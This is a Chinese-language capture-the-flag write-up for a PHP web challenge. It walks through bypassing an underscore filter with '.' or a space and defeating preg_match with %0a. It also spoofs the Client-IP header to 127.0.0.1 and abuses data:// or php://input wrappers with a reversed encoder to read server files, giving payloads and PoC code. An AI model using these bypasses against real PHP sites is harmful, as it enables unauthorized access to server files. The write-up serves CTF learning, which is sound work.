考点: ①$SERVER数组的各个元素的含义 ②%0a绕过preg_match() ③data://text/plain;base64的利用
进去之后还是先看看有没有robots.txt文件(自己做题的习惯),发现页面并不跳转,猜测应该是index.php中有header在限制 于是查看源码,看到一段php代码
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!
单看这段代码发现并没有什么有用的信息,但可能绕过之后会出来一些有用的信息 先$query = $_SERVER['QUERY_STRING'] ,之后两个if语句,第一个禁止$query 中出现下划线,第二个if要求变量b_u_p_t不能是23333但还有匹配到23333。 首先看$query = $_SERVER['QUERY_STRING'] 这个query是怎么得到了呢?这就要知道 $_SERVER['QUERY_STRING'] 存储了服务器的相关信息,其中有四个变量容易混淆: $_SERVER["QUERY_STRING"] $_SERVER["REQUEST_URI"], $_SERVER["SCRIPT_NAME"] 和 $_SERVER["PHP_SELF"] 测试: 
可以对这道题来说$query就是指b_u_p_t,这时就理解了为什么要求$query中不能出现下划线了,但要怎么绕过呢?可以用.代替_,绕过第一个判断,%0a绕过preg_match,那为什么可以用.代替_呢? payload:?b.u.p.t=23333%0a 这个地方也可以用空格代替下划线绕过  出现了一个有用的信息,flag在secrettw.php文件中,那就直接访问secrettw.php。 看到Local access only 就尝试抓包修改xff或者client-ip字段为127.0.0.1(具体哪一个字段还要看get_ip函数中怎么实现的,都测试一下) 
依然看不到flag,就看看页面中还有没有其他信息,查看源码发现了一串jsfuck编码的字符 JSfuck解码  解码之后让post一个Merak数据,也不知道post什么,就随便传一个值吧,然后发现了源码
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
php代码审计 已经通过伪造client-ip绕过了第一个if,重点看第二个if,file_get_contents($_GET['2333']) === 'todat is a happy day' payload:?2333=data://text/plain;base64 或者?2333=php://input change函数的作用是,先base64解码,说明传进去的file要base64编码。for循环的作用是将每个字符的ASCII值+2*$i,$i从0开始。我们反过来再循环一下就可以,把+换成- poc:
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
拿到flag:flag{3d7d6d04-0308-4704-a538-f23b76263e72}
如果想知道getip函数具体怎么实现的可以构造payload读取一下takeip.php。
<?php
function getIp()
{
if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")) {
return "sorry,this way is banned!";
} else {
if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) {
$ip = $_SERVER["REMOTE_ADDR"];
} else {
if (isset ($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],
"unknown")
) {
$ip = $_SERVER['REMOTE_ADDR'];
} else {
$ip = "unknown";
}
}
}
}
return ($ip);
}
?>
总结: 我个人觉得这道题有值得写wp的地方是第一步用.或者空格绕过下划线,和用最后一部用伪协议绕过。还是要多多刷题,多总结奇怪的出题点和绕过思路。 与君共勉!
|